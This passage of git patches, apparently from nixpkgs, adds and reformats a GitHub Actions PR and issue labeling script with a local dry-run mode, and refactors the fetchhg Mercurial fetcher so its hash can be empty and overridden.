+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/wrap-ansi-cjs/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "license": "MIT",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": {
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+      "license": "MIT"
+    },
+    "node_modules/wrap-ansi-cjs/node_modules/string-width": {
+      "version": "4.2.3",
+      "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+      "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+      "license": "MIT",
+      "dependencies": {
+        "emoji-regex": "^8.0.0",
+        "is-fullwidth-code-point": "^3.0.0",
+        "strip-ansi": "^6.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/wrap-ansi-cjs/node_modules/strip-ansi": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+      "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "license": "MIT",
+      "dependencies": {
+        "ansi-regex": "^5.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/wrappy": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+      "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
+      "license": "ISC"
+    },
+    "node_modules/zip-stream": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-6.0.1.tgz",
+      "integrity": "sha512-zK7YHHz4ZXpW89AHXUPbQVGKI7uvkd3hzusTdotCg1UxyaVtg0zFJSTfW/Dq5f7OBBVnq6cZIaC8Ti4hb6dtCA==",
+      "license": "MIT",
+      "dependencies": {
+        "archiver-utils": "^5.0.0",
+        "compress-commons": "^6.0.2",
+        "readable-stream": "^4.0.0"
+      },
+      "engines": {
+        "node": ">= 14"
+      }
+    }
+  }
+}
diff --git a/ci/labels/package.json b/ci/labels/package.json
new file mode 100644
index 000000000000..e07813aa86b5
--- /dev/null
+++ b/ci/labels/package.json
@@ -0,0 +1,9 @@
+{
+  "private": true,
+  "type": "module",
+  "dependencies": {
+    "@actions/artifact": "2.3.2",
+    "@actions/github": "6.0.1",
+    "bottleneck": "2.19.5"
+  }
+}
diff --git a/ci/labels/run.js b/ci/labels/run.js
new file mode 100755
index 000000000000..0a89e3d83f45
--- /dev/null
+++ b/ci/labels/run.js
@@ -0,0 +1,44 @@
+#!/usr/bin/env node
+import { execSync } from 'node:child_process'
+import { mkdtempSync, rmSync } from 'node:fs'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { getOctokit } from '@actions/github'
+import labels from './labels.cjs'
+
+if (process.argv.length !== 4)
+  throw new Error('Call this with exactly two arguments: ./run.js OWNER REPO')
+const [, , owner, repo] = process.argv
+
+const token = execSync('gh auth token', { encoding: 'utf-8' }).trim()
+
+const tmp = mkdtempSync(join(tmpdir(), 'labels-'))
+try {
+  process.env.GITHUB_WORKSPACE = tmp
+  process.chdir(tmp)
+
+  await labels({
+    github: getOctokit(token),
+    context: {
+      payload: {},
+      repo: {
+        owner,
+        repo,
+      },
+    },
+    core: {
+      getInput() {
+        return token
+      },
+      error: console.error,
+      info: console.log,
+      notice: console.log,
+      setFailed(msg) {
+        console.error(msg)
+        process.exitCode = 1
+      },
+    },
+  })
+} finally {
+  rmSync(tmp, { recursive: true })
+}
diff --git a/ci/labels/shell.nix b/ci/labels/shell.nix
new file mode 100644
index 000000000000..dd84ba3ad73d
--- /dev/null
+++ b/ci/labels/shell.nix
@@ -0,0 +1,23 @@
+{
+  system ? builtins.currentSystem,
+  pkgs ? (import ../. { inherit system; }).pkgs,
+}:
+
+pkgs.callPackage (
+  {
+    mkShell,
+    importNpmLock,
+    nodejs,
+  }:
+  mkShell {
+    packages = [
+      importNpmLock.hooks.linkNodeModulesHook
+      nodejs
+    ];
+
+    npmDeps = importNpmLock.buildNodeModules {
+      npmRoot = ./.;
+      inherit nodejs;
+    };
+  }
+) { }

From 4c421bc8055279053366ec371e2bf586ff19f16c Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 7 Jul 2025 19:55:53 +0200
Subject: [PATCH 2185/4511] ci/labels: run prettier

This is the result of:

  prettier --no-semi --single-quote

(cherry picked from commit 9936e7d751efbe6a47e5462b81d288b2d5265535)
---
 ci/labels/labels.cjs | 309 +++++++++++++++++++++++++------------------
 1 file changed, 183 insertions(+), 126 deletions(-)

diff --git a/ci/labels/labels.cjs b/ci/labels/labels.cjs
index cafd79089c5e..ea30e2dc6244 100644
--- a/ci/labels/labels.cjs
+++ b/ci/labels/labels.cjs
@@ -1,4 +1,4 @@
-module.exports = async function({ github, context, core }) {
+module.exports = async function ({ github, context, core }) {
   const Bottleneck = require('bottleneck')
   const path = require('node:path')
   const { DefaultArtifactClient } = require('@actions/artifact')
@@ -10,7 +10,7 @@ module.exports = async function({ github, context, core }) {
     issues: 0,
     prs: 0,
     requests: 0,
-    artifacts: 0
+    artifacts: 0,
   }
 
   // Rate-Limiting and Throttling, see for details:
@@ -20,7 +20,7 @@ module.exports = async function({ github, context, core }) {
     // Avoid concurrent requests
     maxConcurrent: 1,
     // Will be updated with first `updateReservoir()` call below.
-    reservoir: 0
+    reservoir: 0,
   })
   // Pause between mutative requests
   const writeLimits = new Bottleneck({ minTime: 1000 }).chain(allLimits)
@@ -33,8 +33,7 @@ module.exports = async function({ github, context, core }) {
     stats.requests++
     if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(options.method))
       return writeLimits.schedule(request.bind(null, options))
-    else
-      return allLimits.schedule(request.bind(null, options))
+    else return allLimits.schedule(request.bind(null, options))
   })
 
   async function updateReservoir() {
@@ -57,26 +56,28 @@ module.exports = async function({ github, context, core }) {
   const reservoirUpdater = setInterval(updateReservoir, 60 * 1000)
 
   async function handlePullRequest(item) {
-    const log = (k,v) => core.info(`PR #${item.number} - ${k}: ${v}`)
+    const log = (k, v) => core.info(`PR #${item.number} - ${k}: ${v}`)
 
     const pull_number = item.number
 
     // This API request is important for the merge-conflict label, because it triggers the
     // creation of a new test merge commit. This is needed to actually determine the state of a PR.
-    const pull_request = (await github.rest.pulls.get({
-      ...context.repo,
-      pull_number
-    })).data
+    const pull_request = (
+      await github.rest.pulls.get({
+        ...context.repo,
+        pull_number,
+      })
+    ).data
 
     const reviews = await github.paginate(github.rest.pulls.listReviews, {
-        ...context.repo,
-        pull_number
-      })
+      ...context.repo,
+      pull_number,
+    })
 
     const approvals = new Set(
       reviews
-      .filter(review => review.state == 'APPROVED')
-      .map(review => review.user?.id)
+        .filter((review) => review.state == 'APPROVED')
+        .map((review) => review.user?.id),
     )
 
     // After creation of a Pull Request, `merge_commit_sha` will be null initially:
@@ -84,7 +85,8 @@ module.exports = async function({ github, context, core }) {
     // To avoid labeling the PR as conflicted before that, we wait a few minutes.
     // This is intentionally less than the time that Eval takes, so that the label job
     // running after Eval can indeed label the PR as conflicted if that is the case.
-    const merge_commit_sha_valid = new Date() - new Date(pull_request.created_at) > 3 * 60 * 1000
+    const merge_commit_sha_valid =
+      new Date() - new Date(pull_request.created_at) > 3 * 60 * 1000
 
     const prLabels = {
       // We intentionally don't use the mergeable or mergeable_state attributes.
@@ -98,31 +100,41 @@ module.exports = async function({ github, context, core }) {
       // On the first pass of the day, we just fetch the pull request, which triggers
       // the creation. At this stage, the label is likely not updated, yet.
       // The second pass will then read the result from the first pass and set the label.
-      '2.status: merge conflict': merge_commit_sha_valid && !pull_request.merge_commit_sha,
+      '2.status: merge conflict':
+        merge_commit_sha_valid && !pull_request.merge_commit_sha,
       '12.approvals: 1': approvals.size == 1,
       '12.approvals: 2': approvals.size == 2,
       '12.approvals: 3+': approvals.size >= 3,
-      '12.first-time contribution':
-        [ 'NONE', 'FIRST_TIMER', 'FIRST_TIME_CONTRIBUTOR' ].includes(pull_request.author_association),
+      '12.first-time contribution': [
+        'NONE',
+        'FIRST_TIMER',
+        'FIRST_TIME_CONTRIBUTOR',
+      ].includes(pull_request.author_association),
     }
 
-    const { id: run_id, conclusion } = (await github.rest.actions.listWorkflowRuns({
-      ...context.repo,
-      workflow_id: 'pr.yml',
-      event: 'pull_request_target',
-      exclude_pull_requests: true,
-      head_sha: pull_request.head.sha
-    })).data.workflow_runs[0] ??
+    const { id: run_id, conclusion } =
+      (
+        await github.rest.actions.listWorkflowRuns({
+          ...context.repo,
+          workflow_id: 'pr.yml',
+          event: 'pull_request_target',
+          exclude_pull_requests: true,
+          head_sha: pull_request.head.sha,
+        })
+      ).data.workflow_runs[0] ??
       // TODO: Remove this after 2025-09-17, at which point all eval.yml artifacts will have expired.
-      (await github.rest.actions.listWorkflowRuns({
-        ...context.repo,
-        // In older PRs, we need eval.yml instead of pr.yml.
-        workflow_id: 'eval.yml',
-        event: 'pull_request_target',
-        status: 'success',
-        exclude_pull_requests: true,
-        head_sha: pull_request.head.sha
-      })).data.workflow_runs[0] ?? {}
+      (
+        await github.rest.actions.listWorkflowRuns({
+          ...context.repo,
+          // In older PRs, we need eval.yml instead of pr.yml.
+          workflow_id: 'eval.yml',
+          event: 'pull_request_target',
+          status: 'success',
+          exclude_pull_requests: true,
+          head_sha: pull_request.head.sha,
+        })
+      ).data.workflow_runs[0] ??
+      {}
 
     // Newer PRs might not have run Eval to completion, yet.
     // Older PRs might not have an eval.yml workflow, yet.
@@ -146,17 +158,24 @@ module.exports = async function({ github, context, core }) {
       })
     }
 
-    const artifact = run_id && (await github.rest.actions.listWorkflowRunArtifacts({
-      ...context.repo,
-      run_id,
-      name: 'comparison'
-    })).data.artifacts[0]
+    const artifact =
+      run_id &&
+      (
+        await github.rest.actions.listWorkflowRunArtifacts({
+          ...context.repo,
+          run_id,
+          name: 'comparison',
+        })
+      ).data.artifacts[0]
 
     // Instead of checking the boolean artifact.expired, we will give us a minute to
     // actually download the artifact in the next step and avoid that race condition.
     // Older PRs, where the workflow run was already eval.yml, but the artifact was not
     // called "comparison", yet, will skip the download.
-    const expired = !artifact || new Date(artifact?.expires_at ?? 0) < new Date(new Date().getTime() + 60 * 1000)
+    const expired =
+      !artifact ||
+      new Date(artifact?.expires_at ?? 0) <
+        new Date(new Date().getTime() + 60 * 1000)
     log('Artifact expires at', artifact?.expires_at ?? '<n/a>')
     if (!expired) {
       stats.artifacts++
@@ -165,17 +184,23 @@ module.exports = async function({ github, context, core }) {
         findBy: {
           repositoryName: context.repo.repo,
           repositoryOwner: context.repo.owner,
-          token: core.getInput('github-token')
+          token: core.getInput('github-token'),
         },
         path: path.resolve(pull_number.toString()),
-        expectedHash: artifact.digest
+        expectedHash: artifact.digest,
       })
 
-      const maintainers = new Set(Object.keys(
-        JSON.parse(await readFile(`${pull_number}/maintainers.json`, 'utf-8'))
-      ).map(m => Number.parseInt(m, 10)))
+      const maintainers = new Set(
+        Object.keys(
+          JSON.parse(
+            await readFile(`${pull_number}/maintainers.json`, 'utf-8'),
+          ),
+        ).map((m) => Number.parseInt(m, 10)),
+      )
 
-      const evalLabels = JSON.parse(await readFile(`${pull_number}/changed-paths.json`, 'utf-8')).labels
+      const evalLabels = JSON.parse(
+        await readFile(`${pull_number}/changed-paths.json`, 'utf-8'),
+      ).labels
 
       Object.assign(
         prLabels,
@@ -184,10 +209,12 @@ module.exports = async function({ github, context, core }) {
         // The old eval labels would have been set by the eval run,
         // so now they'll be present in `before`.
         // TODO: Simplify once old eval results have expired (~2025-10)
-        (Array.isArray(evalLabels) ? undefined : evalLabels),
+        Array.isArray(evalLabels) ? undefined : evalLabels,
         {
-          '12.approved-by: package-maintainer': Array.from(maintainers).some(m => approvals.has(m)),
-        }
+          '12.approved-by: package-maintainer': Array.from(maintainers).some(
+            (m) => approvals.has(m),
+          ),
+        },
       )
     }
 
@@ -196,7 +223,7 @@ module.exports = async function({ github, context, core }) {
 
   async function handle(item) {
     try {
-      const log = (k,v,skip) => {
+      const log = (k, v, skip) => {
         core.info(`#${item.number} - ${k}: ${v}` + (skip ? ' (skipped)' : ''))
         return skip
       }
@@ -216,38 +243,44 @@ module.exports = async function({ github, context, core }) {
       }
 
       const latest_event_at = new Date(
-        (await github.paginate(
-          github.rest.issues.listEventsForTimeline,
-          {
+        (
+          await github.paginate(github.rest.issues.listEventsForTimeline, {
             ...context.repo,
             issue_number,
-            per_page: 100
-          }
-        ))
-        .filter(({ event }) => [
-          // These events are hand-picked from:
-          //   https://docs.github.com/en/rest/using-the-rest-api/issue-event-types?apiVersion=2022-11-28
-          // Each of those causes a PR/issue to *not* be considered as stale anymore.
-          // Most of these use created_at.
-          'assigned',
-          'commented', // uses updated_at, because that could be > created_at
-          'committed', // uses committer.date
-          'head_ref_force_pushed',
-          'milestoned',
-          'pinned',
-          'ready_for_review',
-          'renamed',
-          'reopened',
-          'review_dismissed',
-          'review_requested',
-          'reviewed', // uses submitted_at
-          'unlocked',
-          'unmarked_as_duplicate',
-        ].includes(event))
-        .map(({ created_at, updated_at, committer, submitted_at }) => new Date(updated_at ?? created_at ?? submitted_at ?? committer.date))
-        // Reverse sort by date value. The default sort() sorts by string representation, which is bad for dates.
-        .sort((a,b) => b-a)
-        .at(0) ?? item.created_at
+            per_page: 100,
+          })
+        )
+          .filter(({ event }) =>
+            [
+              // These events are hand-picked from:
+              //   https://docs.github.com/en/rest/using-the-rest-api/issue-event-types?apiVersion=2022-11-28
+              // Each of those causes a PR/issue to *not* be considered as stale anymore.
+              // Most of these use created_at.
+              'assigned',
+              'commented', // uses updated_at, because that could be > created_at
+              'committed', // uses committer.date
+              'head_ref_force_pushed',
+              'milestoned',
+              'pinned',
+              'ready_for_review',
+              'renamed',
+              'reopened',
+              'review_dismissed',
+              'review_requested',
+              'reviewed', // uses submitted_at
+              'unlocked',
+              'unmarked_as_duplicate',
+            ].includes(event),
+          )
+          .map(
+            ({ created_at, updated_at, committer, submitted_at }) =>
+              new Date(
+                updated_at ?? created_at ?? submitted_at ?? committer.date,
+              ),
+          )
+          // Reverse sort by date value. The default sort() sorts by string representation, which is bad for dates.
+          .sort((a, b) => b - a)
+          .at(0) ?? item.created_at,
       )
       log('latest_event_at', latest_event_at.toISOString())
 
@@ -256,33 +289,37 @@ module.exports = async function({ github, context, core }) {
       // Create a map (Label -> Boolean) of all currently set labels.
       // Each label is set to True and can be disabled later.
       const before = Object.fromEntries(
-        (await github.paginate(github.rest.issues.listLabelsOnIssue, {
-          ...context.repo,
-          issue_number
-        }))
-        .map(({ name }) => [name, true])
+        (
+          await github.paginate(github.rest.issues.listLabelsOnIssue, {
+            ...context.repo,
+            issue_number,
+          })
+        ).map(({ name }) => [name, true]),
       )
 
       Object.assign(itemLabels, {
-        '2.status: stale': !before['1.severity: security'] && latest_event_at < stale_at,
+        '2.status: stale':
+          !before['1.severity: security'] && latest_event_at < stale_at,
       })
 
       const after = Object.assign({}, before, itemLabels)
 
       // No need for an API request, if all labels are the same.
-      const hasChanges = Object.keys(after).some(name => (before[name] ?? false) != after[name])
-      if (log('Has changes', hasChanges, !hasChanges))
-        return;
+      const hasChanges = Object.keys(after).some(
+        (name) => (before[name] ?? false) != after[name],
+      )
+      if (log('Has changes', hasChanges, !hasChanges)) return
 
       // Skipping labeling on a pull_request event, because we have no privileges.
-      const labels = Object.entries(after).filter(([,value]) => value).map(([name]) => name)
-      if (log('Set labels', labels, context.eventName == 'pull_request'))
-        return;
+      const labels = Object.entries(after)
+        .filter(([, value]) => value)
+        .map(([name]) => name)
+      if (log('Set labels', labels, context.eventName == 'pull_request')) return
 
       await github.rest.issues.setLabels({
         ...context.repo,
         issue_number,
-        labels
+        labels,
       })
     } catch (cause) {
       throw new Error(`Labeling #${item.number} failed.`, { cause })
@@ -293,19 +330,23 @@ module.exports = async function({ github, context, core }) {
     if (context.payload.pull_request) {
       await handle(context.payload.pull_request)
     } else {
-      const lastRun = (await github.rest.actions.listWorkflowRuns({
-        ...context.repo,
-        workflow_id: 'labels.yml',
-        event: 'schedule',
-        status: 'success',
-        exclude_pull_requests: true,
-        per_page: 1
-      })).data.workflow_runs[0]
+      const lastRun = (
+        await github.rest.actions.listWorkflowRuns({
+          ...context.repo,
+          workflow_id: 'labels.yml',
+          event: 'schedule',
+          status: 'success',
+          exclude_pull_requests: true,
+          per_page: 1,
+        })
+      ).data.workflow_runs[0]
 
       // Go back as far as the last successful run of this workflow to make sure
       // we are not leaving anyone behind on GHA failures.
       // Defaults to go back 1 hour on the first run.
-      const cutoff = new Date(lastRun?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000)
+      const cutoff = new Date(
+        lastRun?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000,
+      )
       core.info('cutoff timestamp: ' + cutoff.toISOString())
 
       const updatedItems = await github.paginate(
@@ -314,11 +355,11 @@ module.exports = async function({ github, context, core }) {
           q: [
             `repo:"${context.repo.owner}/${context.repo.repo}"`,
             'is:open',
-            `updated:>=${cutoff.toISOString()}`
+            `updated:>=${cutoff.toISOString()}`,
           ].join(' AND '),
           // TODO: Remove in 2025-10, when it becomes the default.
-          advanced_search: true
-        }
+          advanced_search: true,
+        },
       )
 
       let cursor
@@ -327,24 +368,29 @@ module.exports = async function({ github, context, core }) {
       if (lastRun) {
         // The cursor to iterate through the full list of issues and pull requests
         // is passed between jobs as an artifact.
-        const artifact = (await github.rest.actions.listWorkflowRunArtifacts({
-          ...context.repo,
-          run_id: lastRun.id,
-          name: 'pagination-cursor'
-        })).data.artifacts[0]
+        const artifact = (
+          await github.rest.actions.listWorkflowRunArtifacts({
+            ...context.repo,
+            run_id: lastRun.id,
+            name: 'pagination-cursor',
+          })
+        ).data.artifacts[0]
 
         // If the artifact is not available, the next iteration starts at the beginning.
         if (artifact) {
           stats.artifacts++
 
-          const { downloadPath } = await artifactClient.downloadArtifact(artifact.id, {
-            findBy: {
-              repositoryName: context.repo.repo,
-              repositoryOwner: context.repo.owner,
-              token: core.getInput('github-token')
+          const { downloadPath } = await artifactClient.downloadArtifact(
+            artifact.id,
+            {
+              findBy: {
+                repositoryName: context.repo.repo,
+                repositoryOwner: context.repo.owner,
+                token: core.getInput('github-token'),
+              },
+              expectedHash: artifact.digest,
             },
-            expectedHash: artifact.digest
-          })
+          )
 
           cursor = await readFile(path.resolve(downloadPath, 'cursor'), 'utf-8')
         }
@@ -360,7 +406,7 @@ module.exports = async function({ github, context, core }) {
         sort: 'created',
         direction: 'asc',
         per_page: 100,
-        after: cursor
+        after: cursor,
       })
 
       // Regex taken and comment adjusted from:
@@ -369,7 +415,9 @@ module.exports = async function({ github, context, core }) {
       //   <https://api.github.com/repositories/4542716/issues?page=3&per_page=100&after=Y3Vyc29yOnYyOpLPAAABl8qNnYDOvnSJxA%3D%3D>; rel="next",
       //   <https://api.github.com/repositories/4542716/issues?page=1&per_page=100&before=Y3Vyc29yOnYyOpLPAAABl8xFV9DOvoouJg%3D%3D>; rel="prev"
       // Sets `next` to undefined if "next" URL is not present or `link` header is not set.
-      const next = ((allItems.headers.link ?? '').match(/<([^<>]+)>;\s*rel="next"/) ?? [])[1]
+      const next = ((allItems.headers.link ?? '').match(
+        /<([^<>]+)>;\s*rel="next"/,
+      ) ?? [])[1]
       if (next) {
         cursor = new URL(next).searchParams.get('after')
         const uploadPath = path.resolve('cursor')
@@ -381,20 +429,29 @@ module.exports = async function({ github, context, core }) {
           [uploadPath],
           path.resolve('.'),
           {
-            retentionDays: 1
-          }
+            retentionDays: 1,
+          },
         )
       }
 
       // Some items might be in both search results, so filtering out duplicates as well.
-      const items = [].concat(updatedItems, allItems.data)
-        .filter((thisItem, idx, arr) => idx == arr.findIndex(firstItem => firstItem.number == thisItem.number))
+      const items = []
+        .concat(updatedItems, allItems.data)
+        .filter(
+          (thisItem, idx, arr) =>
+            idx ==
+            arr.findIndex((firstItem) => firstItem.number == thisItem.number),
+        )
 
       ;(await Promise.allSettled(items.map(handle)))
         .filter(({ status }) => status == 'rejected')
-        .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`))
+        .map(({ reason }) =>
+          core.setFailed(`${reason.message}\n${reason.cause.stack}`),
+        )
 
-      core.notice(`Processed ${stats.prs} PRs, ${stats.issues} Issues, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`)
+      core.notice(
+        `Processed ${stats.prs} PRs, ${stats.issues} Issues, made ${stats.requests + stats.artifacts} API requests and downloaded ${stats.artifacts} artifacts.`,
+      )
     }
   } finally {
     clearInterval(reservoirUpdater)

From d27bd954e66de906861264db79b1122a8d77844e Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 7 Jul 2025 20:06:12 +0200
Subject: [PATCH 2186/4511] ci/labels: run in dry mode locally

To avoid mistakes when developing and testing against the upstream repo.

(cherry picked from commit dd8357185a38ce53d91f1566372710f6fc121228)
---
 .github/workflows/labels.yml |  1 +
 ci/labels/README.md          |  2 +-
 ci/labels/labels.cjs         | 28 ++++++++++++++++------------
 ci/labels/run.js             |  1 +
 4 files changed, 19 insertions(+), 13 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index e4a4205f3eba..f5a04ad073bc 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -73,6 +73,7 @@ jobs:
               github,
               context,
               core,
+              dry: context.eventName == 'pull_request'
             })
 
       - name: Log current API rate limits
diff --git a/ci/labels/README.md b/ci/labels/README.md
index 4631437a9654..26cd88763fe6 100644
--- a/ci/labels/README.md
+++ b/ci/labels/README.md
@@ -1,4 +1,4 @@
 To test the labeler locally:
 - Provide `gh` on `PATH` and make sure it's authenticated.
 - Enter `nix-shell` in `./ci/labels`.
-- Run `./run.js OWNER REPO`, where OWNER is your username and REPO the name of your fork (normally nixpkgs).
+- Run `./run.js OWNER REPO`, where OWNER is your username or "NixOS" and REPO the name of your fork or "nixpkgs".
diff --git a/ci/labels/labels.cjs b/ci/labels/labels.cjs
index ea30e2dc6244..5527059f6e45 100644
--- a/ci/labels/labels.cjs
+++ b/ci/labels/labels.cjs
@@ -1,4 +1,4 @@
-module.exports = async function ({ github, context, core }) {
+module.exports = async function ({ github, context, core, dry }) {
   const Bottleneck = require('bottleneck')
   const path = require('node:path')
   const { DefaultArtifactClient } = require('@actions/artifact')
@@ -314,7 +314,7 @@ module.exports = async function ({ github, context, core }) {
       const labels = Object.entries(after)
         .filter(([, value]) => value)
         .map(([name]) => name)
-      if (log('Set labels', labels, context.eventName == 'pull_request')) return
+      if (log('Set labels', labels, dry)) return
 
       await github.rest.issues.setLabels({
         ...context.repo,
@@ -422,16 +422,20 @@ module.exports = async function ({ github, context, core }) {
         cursor = new URL(next).searchParams.get('after')
         const uploadPath = path.resolve('cursor')
         await writeFile(uploadPath, cursor, 'utf-8')
-        // No stats.artifacts++, because this does not allow passing a custom token.
-        // Thus, the upload will not happen with the app token, but the default github.token.
-        await artifactClient.uploadArtifact(
-          'pagination-cursor',
-          [uploadPath],
-          path.resolve('.'),
-          {
-            retentionDays: 1,
-          },
-        )
+        if (dry) {
+          core.info(`pagination-cursor: ${cursor} (upload skipped)`)
+        } else {
+          // No stats.artifacts++, because this does not allow passing a custom token.
+          // Thus, the upload will not happen with the app token, but the default github.token.
+          await artifactClient.uploadArtifact(
+            'pagination-cursor',
+            [uploadPath],
+            path.resolve('.'),
+            {
+              retentionDays: 1,
+            },
+          )
+        }
       }
 
       // Some items might be in both search results, so filtering out duplicates as well.
diff --git a/ci/labels/run.js b/ci/labels/run.js
index 0a89e3d83f45..d7e8e9ff9401 100755
--- a/ci/labels/run.js
+++ b/ci/labels/run.js
@@ -38,6 +38,7 @@ try {
         process.exitCode = 1
       },
     },
+    dry: true,
   })
 } finally {
   rmSync(tmp, { recursive: true })

From fc9e4be58ff61d0adf398bbb897a66d1d26ed736 Mon Sep 17 00:00:00 2001
From: Yueh-Shun Li <shamrocklee@posteo.net>
Date: Tue, 1 Jul 2025 11:53:18 +0800
Subject: [PATCH 2187/4511] fetchhg: allow hash to be empty string and move
 assertion down under outputHash

(cherry picked from commit c6b8e4470cae3b2e14049f5a4a59a82444fdbb5b)
---
 pkgs/build-support/fetchhg/default.nix | 22 ++++++++++++----------
 1 file changed, 12 insertions(+), 10 deletions(-)

diff --git a/pkgs/build-support/fetchhg/default.nix b/pkgs/build-support/fetchhg/default.nix
index dd6a8cfa87be..48255b984aca 100644
--- a/pkgs/build-support/fetchhg/default.nix
+++ b/pkgs/build-support/fetchhg/default.nix
@@ -13,9 +13,6 @@
   preferLocalBuild ? true,
 }:
 
-if hash != null && sha256 != null then
-  throw "Only one of sha256 or hash can be set"
-else
   # TODO: statically check if mercurial as the https support if the url starts with https.
   stdenvNoCC.mkDerivation {
     name = "hg-archive" + (lib.optionalString (name != null) "-${name}");
@@ -26,15 +23,20 @@ else
 
     subrepoClause = lib.optionalString fetchSubrepos "S";
 
-    outputHashAlgo = if hash != null then null else "sha256";
+    outputHashAlgo = if hash != null && hash != "" then null else "sha256";
     outputHashMode = "recursive";
     outputHash =
-      if hash != null then
-        hash
-      else if sha256 != null then
-        sha256
-      else
-        lib.fakeSha256;
+      lib.throwIf
+        (hash != null && sha256 != null)
+        "Only one of sha256 or hash can be set"
+        (
+          if hash != null then
+            hash
+          else if sha256 != null then
+            sha256
+          else
+            ""
+        );
 
     inherit url rev;
     inherit preferLocalBuild;

From 74ac5e0777fe05956024ee0a070cc828781e9964 Mon Sep 17 00:00:00 2001
From: Yueh-Shun Li <shamrocklee@posteo.net>
Date: Tue, 1 Jul 2025 12:10:49 +0800
Subject: [PATCH 2188/4511] fetchhg: use extendMkDerivation

(cherry picked from commit 5e7cb7d97627ce86bd63f34aefb1a27a5bd98c08)
---
 pkgs/build-support/fetchhg/default.nix | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

diff --git a/pkgs/build-support/fetchhg/default.nix b/pkgs/build-support/fetchhg/default.nix
index 48255b984aca..4c8a8f312929 100644
--- a/pkgs/build-support/fetchhg/default.nix
+++ b/pkgs/build-support/fetchhg/default.nix
@@ -3,6 +3,12 @@
   stdenvNoCC,
   mercurial,
 }:
+
+lib.extendMkDerivation {
+  constructDrv = stdenvNoCC.mkDerivation;
+
+  extendDrvArgs =
+    finalAttrs:
 {
   name ? null,
   url,
@@ -12,9 +18,8 @@
   fetchSubrepos ? false,
   preferLocalBuild ? true,
 }:
-
   # TODO: statically check if mercurial as the https support if the url starts with https.
-  stdenvNoCC.mkDerivation {
+  {
     name = "hg-archive" + (lib.optionalString (name != null) "-${name}");
     builder = ./builder.sh;
     nativeBuildInputs = [ mercurial ];
@@ -40,4 +45,8 @@
 
     inherit url rev;
     inherit preferLocalBuild;
-  }
+  };
+
+  # No ellipsis
+  inheritFunctionArgs = false;
+}

From 0ba1f47823afb316cbea0fed7bd74c9d0a8bb50a Mon Sep 17 00:00:00 2001
From: Yueh-Shun Li <shamrocklee@posteo.net>
Date: Wed, 9 Jul 2025 01:08:38 +0800
Subject: [PATCH 2189/4511] fetchhg: make argument hash overridable

(cherry picked from commit ef2f8315bf538f1e76ca2f2257a53f583df3989e)
---
 doc/build-helpers/fetchers.chapter.md  |  2 +-
 pkgs/build-support/fetchhg/default.nix | 10 +++---
 pkgs/test/overriding.nix               | 47 +++++++++++++++++++++++++-
 3 files changed, 52 insertions(+), 7 deletions(-)

diff --git a/doc/build-helpers/fetchers.chapter.md b/doc/build-helpers/fetchers.chapter.md
index 997f97f81bdb..ee35b2339b0c 100644
--- a/doc/build-helpers/fetchers.chapter.md
+++ b/doc/build-helpers/fetchers.chapter.md
@@ -836,7 +836,7 @@ Used with CVS. Expects `cvsRoot`, `tag`, and `hash`.
 
 ## `fetchhg` {#fetchhg}
 
-Used with Mercurial. Expects `url`, `rev`, and `hash`.
+Used with Mercurial. Expects `url`, `rev`, `hash`, overridable with [`<pkg>.overrideAttrs`](#sec-pkg-overrideAttrs).
 
 A number of fetcher functions wrap part of `fetchurl` and `fetchzip`. They are mainly convenience functions intended for commonly used destinations of source code in Nixpkgs. These wrapper fetchers are listed below.
 
diff --git a/pkgs/build-support/fetchhg/default.nix b/pkgs/build-support/fetchhg/default.nix
